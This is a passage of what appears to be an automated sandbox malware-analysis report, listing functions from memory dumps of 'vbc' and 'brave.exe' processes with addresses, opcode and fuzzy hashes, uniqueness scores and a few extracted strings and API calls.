Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b60a2ac6c46b2a162b1e4723e1e532dfa4fdf569efd4b59d040658462b3f6a2
Instruction ID: 85a38b99ee5bb6ceb4ee0fdbb4b57200271328671752cbca761d85edaeb11a75
Opcode Fuzzy Hash: 6b60a2ac6c46b2a162b1e4723e1e532dfa4fdf569efd4b59d040658462b3f6a2
Instruction Fuzzy Hash: B9F01CB5D052099F8B84DFA9E5065FFBFF5EB48310F10816BE819E2210E2340641CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0506C238 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f827319268d3ed6f20c8fd049982151ac11e10ffd4bb0b75872b326b71b6021
Instruction ID: 6737d141d434e14829ab0f0948a36ad0a2a5a35bfe2aec01fd7bb5deaf2e7d7f
Opcode Fuzzy Hash: 3f827319268d3ed6f20c8fd049982151ac11e10ffd4bb0b75872b326b71b6021
Instruction Fuzzy Hash: 9DE0DF3530421467D71467AAFC94C9FBAAEEBCA324B104839F90D83600CEB56C0182F2

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CFDC8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 709b3cf8178743290f63e2782b5b29d0ed2f309dcd337f457fd93c729ffc67c1
Instruction ID: ffc0c73d0fd426d03b6d6c2ce63aef0454196e6c849f16187a88d4c37e83887b
Opcode Fuzzy Hash: 709b3cf8178743290f63e2782b5b29d0ed2f309dcd337f457fd93c729ffc67c1
Instruction Fuzzy Hash: 00F0E570A05208EFC714EFB4E6156EDBFB5EF05204F4505ADD50497241EB352E05DB82

Uniqueness

Uniqueness Score: -1.00%

Function 0B660C58 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.507518216.000000000B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b660000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f9488356ada5aea6bb45fc3f16c4f38da004fc9e4496738f7c181909b42928
Instruction ID: 8919581076634acb9319a24a17fe6c9d6082bdf4890451617ccf677521f8de81
Opcode Fuzzy Hash: e2f9488356ada5aea6bb45fc3f16c4f38da004fc9e4496738f7c181909b42928
Instruction Fuzzy Hash: 98E0C9B0E0071A9FD750DF6AC98576BBFF8AF48740F10883AD559E6240EB7095018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 050644C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f66cca12e97c51435b23ee5efa11362766b29069162d7160bac975c648fa13
Instruction ID: c77f626848c5e081a8a36d5342e556326d0887e04c7f4bbddf963e9cfd62ce51
Opcode Fuzzy Hash: 21f66cca12e97c51435b23ee5efa11362766b29069162d7160bac975c648fa13
Instruction Fuzzy Hash: 34E0E5342087A04FC720E729E45871E7BE6EF81218F04082DD243C7B00CB75B805C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 0506B3D8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177a95aaaaab9d3b9b13778509ec63ef72fc48a29ae51d5a9375731709f92818
Instruction ID: 0399e41b8c570e0bd7f23364cda0a56065cde65eb3d5cb6c9324efe575bf3006
Opcode Fuzzy Hash: 177a95aaaaab9d3b9b13778509ec63ef72fc48a29ae51d5a9375731709f92818
Instruction Fuzzy Hash: 6CE0D873B042508FC711DB74A9586C93BB0AE5211071510D7E459CB262FA24DD0AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05060472 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4131078e10f0090c26bde3c9d470db05b2980450925591b973a705d0ca8e82
Instruction ID: 86cffe5ded1d745413b42b97839ae0d167e22cc5746989d7ec6fb8d2ba534f8c
Opcode Fuzzy Hash: bc4131078e10f0090c26bde3c9d470db05b2980450925591b973a705d0ca8e82
Instruction Fuzzy Hash: 6EE092B2949108DFE710DFF4FA5579E77B0EB41258F4205A98405D3240EB359E429780

Uniqueness

Uniqueness Score: -1.00%

Function 0B660CAB Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.507518216.000000000B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b660000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1aec46d2460b1dd241a2c81e695a74b2ef6b7d8c541b103d9cce2ddb7af49c
Instruction ID: 68c6c3d8fce40d1bd5a54654d02ec4afc04157cac22db5f3cca5335c1b296fdd
Opcode Fuzzy Hash: be1aec46d2460b1dd241a2c81e695a74b2ef6b7d8c541b103d9cce2ddb7af49c
Instruction Fuzzy Hash: 4FF06D31004388AFC7029B20D844C143BB6AF4A310B1680A6E1184F272D735DC55CF12

Uniqueness

Uniqueness Score: -1.00%

Function 0506B5B0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09dbdea6afed898c0f2c0de9b96d25f09b64399edc76581ee5ab80875126fc65
Instruction ID: 22a2ba11aa7d138094c63be944d497923af8967b4bce7c41ba439e29b3498889
Opcode Fuzzy Hash: 09dbdea6afed898c0f2c0de9b96d25f09b64399edc76581ee5ab80875126fc65
Instruction Fuzzy Hash: AAE02B739083645FCB16C76058185CF3FB68965114B0740DBD14EEF251FA714A0547D2

Uniqueness

Uniqueness Score: -1.00%

Function 05068070 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa5f1edec218186acfe1e6f053773852b862b214a7e19a58a54811956801b1a3
Instruction ID: 146253fcbd0ffa4c9449e92692616aeec61a2fa4dfc517a501e7c6fe635a7042
Opcode Fuzzy Hash: aa5f1edec218186acfe1e6f053773852b862b214a7e19a58a54811956801b1a3
Instruction Fuzzy Hash: 7CE02B327083801FC709137854213D57FBADEE7010B1984A7E416C6693ED560C0343D2

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CF589 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f845fc067c59ca5785787daffd4a7790e47eca7f97ec33d1e41a9b8e7d5759
Instruction ID: 9c2559e0d1005f3511d2ff7d9f3da586e6cb48583b97e197e093e09b248fcf25
Opcode Fuzzy Hash: 46f845fc067c59ca5785787daffd4a7790e47eca7f97ec33d1e41a9b8e7d5759
Instruction Fuzzy Hash: 7FE0ED30A05245EFD704DFA4EA69AAD77B1EB46208F14449D9204C3110E7312E08EB00

Uniqueness

Uniqueness Score: -1.00%

Function 05063548 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ccd8c977efc34b484846f418f435e2ac134aa8cc291103e231b334a498985ac
Instruction ID: 476d5208784d621b177243341e12dbc12acd6872377fdd9b4b391bd80622e422
Opcode Fuzzy Hash: 6ccd8c977efc34b484846f418f435e2ac134aa8cc291103e231b334a498985ac
Instruction Fuzzy Hash: 9BD05E35304564DB8A246769F4189BE3BAEDFC5669314043EE607C7640CFAA7C0647E6

Uniqueness

Uniqueness Score: -1.00%

Function 05060480 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 698d0900c3ad5e425536ff7375c5787b0481e03ce863f3c96a945c01257f79d2
Instruction ID: db1d2c51db4329e1260837c377a371244c599dee71ac4ac21a887d5f05728f74
Opcode Fuzzy Hash: 698d0900c3ad5e425536ff7375c5787b0481e03ce863f3c96a945c01257f79d2
Instruction Fuzzy Hash: 46E0863094910CEFE710EFB4F61569E77F4FB45208F4009A9C405D3200DB356E01D791

Uniqueness

Uniqueness Score: -1.00%

Function 05066A00 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7341220593fc7c1ff45b712b2afc5ed8b081d23b7973d7a44efa13fa8dc718d3
Instruction ID: 61445d427ac5d9b3a4338b798456b31b0bd175b4530ada12ed64ee4ef78f8266
Opcode Fuzzy Hash: 7341220593fc7c1ff45b712b2afc5ed8b081d23b7973d7a44efa13fa8dc718d3
Instruction Fuzzy Hash: 6DE086715042546FF7419710FC15F7D3B96EB45344F15489ED9508B245D734AC82C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CFDD8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2db29c36e6cdf7c1dc9e5c068409492031eafba7362b47deb1a351b2325288
Instruction ID: 542bd3cb840d385fb2c503406a8e1774ef1dc4dc0887bcbb705ca6cdb7cf31e4
Opcode Fuzzy Hash: 2f2db29c36e6cdf7c1dc9e5c068409492031eafba7362b47deb1a351b2325288
Instruction Fuzzy Hash: 8CE08630905208FFCB04EFB5E61569D7BF5EF45208F4505ADD504E3200EB312E05DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CF598 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4d07ec7a36220d746f95f93c800a48a14590f65212d51df647d35574ded407
Instruction ID: 6d312e40e0b4e2826a5a1d72c295ea8681502f7659bcdaa51f8707b0474ad8a8
Opcode Fuzzy Hash: 2d4d07ec7a36220d746f95f93c800a48a14590f65212d51df647d35574ded407
Instruction Fuzzy Hash: 0AE08630505209EFD704EFB5F6166ED77F9EB45208F5545ADC604D3210EB312E05EB95

Uniqueness

Uniqueness Score: -1.00%

Function 05060439 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d8ddbb13e9850825121f023eb4e0be41742f1522cce78b85b088749e87c195
Instruction ID: 01c7ec2e5921f9f2745d866e2154b1b330342e49b931baac994ecf8742dc441d
Opcode Fuzzy Hash: d6d8ddbb13e9850825121f023eb4e0be41742f1522cce78b85b088749e87c195
Instruction Fuzzy Hash: 9DD0A7B58462085FD3108A90FE8E7E9BFA4E707396F012294940883280EB28CB129691

Uniqueness

Uniqueness Score: -1.00%

Function 0506E700 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72138d9ef70122577755c12189b4eaabf316238884d7df0765da807066615bdc
Instruction ID: dee5cf0cd2f12621e53b2972ccaa2739918c0e704de25003799989ce26c0d703
Opcode Fuzzy Hash: 72138d9ef70122577755c12189b4eaabf316238884d7df0765da807066615bdc
Instruction Fuzzy Hash: 9EE092B4D0520E9F8B84DFA9E4455BFBFF9EB48300F10816AE918E2240E6345A51CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 05063CA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9f4dc572c6d160f367af43ea6ec0525549cf4bb241ffc2dd7f5864d3d460bf
Instruction ID: b5c8c756bc2b857e4f0c10bee10ccc1ec163ad49ef6e17a39ecb5c570f4ec8cd
Opcode Fuzzy Hash: 3d9f4dc572c6d160f367af43ea6ec0525549cf4bb241ffc2dd7f5864d3d460bf
Instruction Fuzzy Hash: 47E07E75D0020CFFCF50DFA4DA449DDBBB9EB48200F2082AA9819A2240EA356B559B81

Uniqueness

Uniqueness Score: -1.00%

Function 0506C1E0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3533c647b5138c6c59691495ebf33e6aea23b0f240a4387a7d30cf91c5fa849
Instruction ID: d384525802b740484bd7d55682c0e101955c5f8c88264194c11fdd54f88be5ee
Opcode Fuzzy Hash: d3533c647b5138c6c59691495ebf33e6aea23b0f240a4387a7d30cf91c5fa849
Instruction Fuzzy Hash: E1E08C306012448FEB65CF29E813F1B37E2BF84708F20844DE4814BA95CB7DE882DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0506B5C0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8610e0cfc4b44c11573f69c623a5504ed869b1752e7ee5a6b8bd1d93cde45f7
Instruction ID: 7471f6f06ca2fbada2da6eda04bc85b9a4ebc4becd82c53fc195c40dffb9ff31
Opcode Fuzzy Hash: a8610e0cfc4b44c11573f69c623a5504ed869b1752e7ee5a6b8bd1d93cde45f7
Instruction Fuzzy Hash: 5BD01232A0833C6B4B15DAA5A4149DF7BAECA54174F11446AD60DDB640EE71294046E6

Uniqueness

Uniqueness Score: -1.00%

Function 05067C38 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e534ea9fb188284c34249d215d0f76bc300fe240242389e87e551c79ae2388e1
Instruction ID: dfb6de390b33db28d9a29dc4980b21a51646f351b9f72d220def2816283727ed
Opcode Fuzzy Hash: e534ea9fb188284c34249d215d0f76bc300fe240242389e87e551c79ae2388e1
Instruction Fuzzy Hash: 08D05E2270E6E00FD346A77D76200E87FA5EECA15575900EBD5C5C76A3C9249C0683D5

Uniqueness

Uniqueness Score: -1.00%

Function 05067078 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d12f2be75da7e206cb4502cc793d9611a9c53b373b467ee10313afdd7a5fe82b
Instruction ID: 9d7363a2353ad6fcf4851564733f97c5cf05422e810f15961429b658dee0d0c3
Opcode Fuzzy Hash: d12f2be75da7e206cb4502cc793d9611a9c53b373b467ee10313afdd7a5fe82b
Instruction Fuzzy Hash: 45D05E322182889FCB02DB64C850C503FBABF0B71030440E9FA80CF232D272AC11DB00

Uniqueness

Uniqueness Score: -1.00%

Function 05060448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a9f162aa8f0256c0d0001ef5a696ff4945047c5cef122a56b5cc701c14a104
Instruction ID: 55d0e81715943ac81e7ce4d65e39c92efe42fccce7d775cde7097f2a9f54bda7
Opcode Fuzzy Hash: c0a9f162aa8f0256c0d0001ef5a696ff4945047c5cef122a56b5cc701c14a104
Instruction Fuzzy Hash: 93C0127045620D9BC6209A94F71D769B6ACE707215F0015D49808532009735580095A5

Uniqueness

Uniqueness Score: -1.00%

Function 0506B591 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.436413024.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c709396c22d27cb475de0775041984908b06c14ca917aa8852db265cde2c29a
Instruction ID: 8ec0b9c4f194d55fa7976e7c813f4bf426ad6488a57f56164ddf03314632c9d8
Opcode Fuzzy Hash: 1c709396c22d27cb475de0775041984908b06c14ca917aa8852db265cde2c29a
Instruction Fuzzy Hash: ADC09B714442414FF30506519C164C03F70A95221434A42F5D04BD7671D15ED90BC614

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0A1C9F00 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

0\;, xrefs: 0A1CA059
tR;, xrefs: 0A1C9FF7
0\;, xrefs: 0A1CA069

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: 0\;$0\;$tR;
API String ID: 0-3934529962
Opcode ID: 60b94595dbf3be5d4f7af5333a424e486569e000dc94add354e9fffb1b1647b5
Instruction ID: 0700358687a08c55fb8be9f397b860fbbdc243d054984d80b076c3a210fcd04c
Opcode Fuzzy Hash: 60b94595dbf3be5d4f7af5333a424e486569e000dc94add354e9fffb1b1647b5
Instruction Fuzzy Hash: 5AA1C274E01218CFDB29DFA5C990B9DBBB2BF89304F2081A9D449AB350EB359D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CC297 Relevance: 3.0, Strings: 2, Instructions: 518COMMON

Download Yara Rule

Strings

tR;, xrefs: 0A1CC4B4
tR;, xrefs: 0A1CC922

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: tR;$tR;
API String ID: 0-728023521
Opcode ID: 1132da5955fbd6b84c63c0b7b2e571a6457a01a76d31a298bbbaa7594cce94fb
Instruction ID: 57b6bf5cd0ec7181db9f7361273b9e5c75ce49740e802e21fad55c866e7119f1
Opcode Fuzzy Hash: 1132da5955fbd6b84c63c0b7b2e571a6457a01a76d31a298bbbaa7594cce94fb
Instruction Fuzzy Hash: 4D32D270A05228CFDB28DFA5C850BDEB7B2AF89304F1191E9C54DAB650DB359E81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0A1C7D00 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da73fe80a5e4a4cc7b9894c74cfa51992ea5ba7e469729d406f7d3f46a9a775
Instruction ID: aafc8c0e4215c04fe8dcd494e4b0ee7c65a9316e84cf00330ca3b27003cdf93e
Opcode Fuzzy Hash: 0da73fe80a5e4a4cc7b9894c74cfa51992ea5ba7e469729d406f7d3f46a9a775
Instruction Fuzzy Hash: 4FC1D470E05258CFDB28DFA5C890B9DBBB2BF89304F2081A9C449AB754DB359D86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0A1C9158 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ea7bc35b312ff218a3ad8c486466573cb21ccbafbc80fafe5c037b747e226c
Instruction ID: 45df162e56a2dea2d962ec3b885c0d6787570459955b170d3acf93f7b3cda7fb
Opcode Fuzzy Hash: f0ea7bc35b312ff218a3ad8c486466573cb21ccbafbc80fafe5c037b747e226c
Instruction Fuzzy Hash: 5C51D270E012089FDB18DFE5D454ADEBBF2EF89304F20912AD456AB790EB359946CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0A1C9168 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28c26385afc5d769adc504beccef3fa42dab9fe5000c71d7036b2db44198f9a
Instruction ID: 12c998bd28970227e0c0aba022f9d23893f3890a649c405875e6c7c3389c3e76
Opcode Fuzzy Hash: d28c26385afc5d769adc504beccef3fa42dab9fe5000c71d7036b2db44198f9a
Instruction Fuzzy Hash: C751B070E012089FDB18DFE5D454ADEBBF2EF89304F20912AD456AB794EB359906CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0A1CDB2C Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ecf01702c8972fce9bc34a9a235b33f205d740d7c7a30b8c25719d77a380ca6
Instruction ID: 51492a83a69b827a2da2f55bd46ce3bc336eaaa739a8d251f0bc2b19834c03d6
Opcode Fuzzy Hash: 0ecf01702c8972fce9bc34a9a235b33f205d740d7c7a30b8c25719d77a380ca6
Instruction Fuzzy Hash: 34F03930C0411DDFEB248F20E9487BDBBB0AB57308F11556DC00673182DB740A80CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0A1C3228 Relevance: 5.1, Strings: 4, Instructions: 142COMMON

Download Yara Rule

Strings

D;, xrefs: 0A1C389D
D;, xrefs: 0A1C3883
D;, xrefs: 0A1C397A
D;, xrefs: 0A1C394F

Memory Dump Source

Source File: 00000002.00000002.503335953.000000000A1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a1c0000_vbc.jbxd

Similarity

API ID:
String ID: D;$D;$D;$D;
API String ID: 0-3006755186
Opcode ID: 15083f4358968add6a751450a20d5393f65f2b5419896773cbac7dbb8d2cf8c6
Instruction ID: d57b24f3cf69d9ce431342ad31c8fb71f6776397c7e603d4046932f298404586
Opcode Fuzzy Hash: 15083f4358968add6a751450a20d5393f65f2b5419896773cbac7dbb8d2cf8c6
Instruction Fuzzy Hash: BB41B435B082145FCB08DB7588255AEBBEA9FC5204B15C0AEC519DF791EB348D068BA2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: brave.exePID: 46932, Parent PID: 46372COMMON

Executed Functions

Function 00007FF77BEE1770 Relevance: 21.9, APIs: 11, Strings: 1, Instructions: 890
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00007FF77BEE1799
GetTickCount64.KERNEL32 ref: 00007FF77BEE17AA

Strings

yAA, xrefs: 00007FF77BEE1EB1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Count64Tick
String ID: yAA
API String ID: 1927824332-3548342407
Opcode ID: f11cd9ce5aafb85a71345035a07857cbbd0d174742894bb9b713fa9aec782b2b
Instruction ID: a29f2986c137739d167bc31ce7176559810b8428ff8ad859d1ae1fec385958b2
Opcode Fuzzy Hash: f11cd9ce5aafb85a71345035a07857cbbd0d174742894bb9b713fa9aec782b2b
Instruction Fuzzy Hash: 6A92E873A387C245F721AB28E4157B9A7A1FB95B84F845535DA8C037AAEFBDD140C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE3170 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 423
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT ref: 00007FF77BEE3384
strcmp.MSVCRT ref: 00007FF77BEE358E
strcmp.MSVCRT ref: 00007FF77BEE3640
strcmp.MSVCRT ref: 00007FF77BEE36E7
strcmp.MSVCRT ref: 00007FF77BEE3797
strcmp.MSVCRT ref: 00007FF77BEE383A
strcmp.MSVCRT ref: 00007FF77BEE38BA

Strings

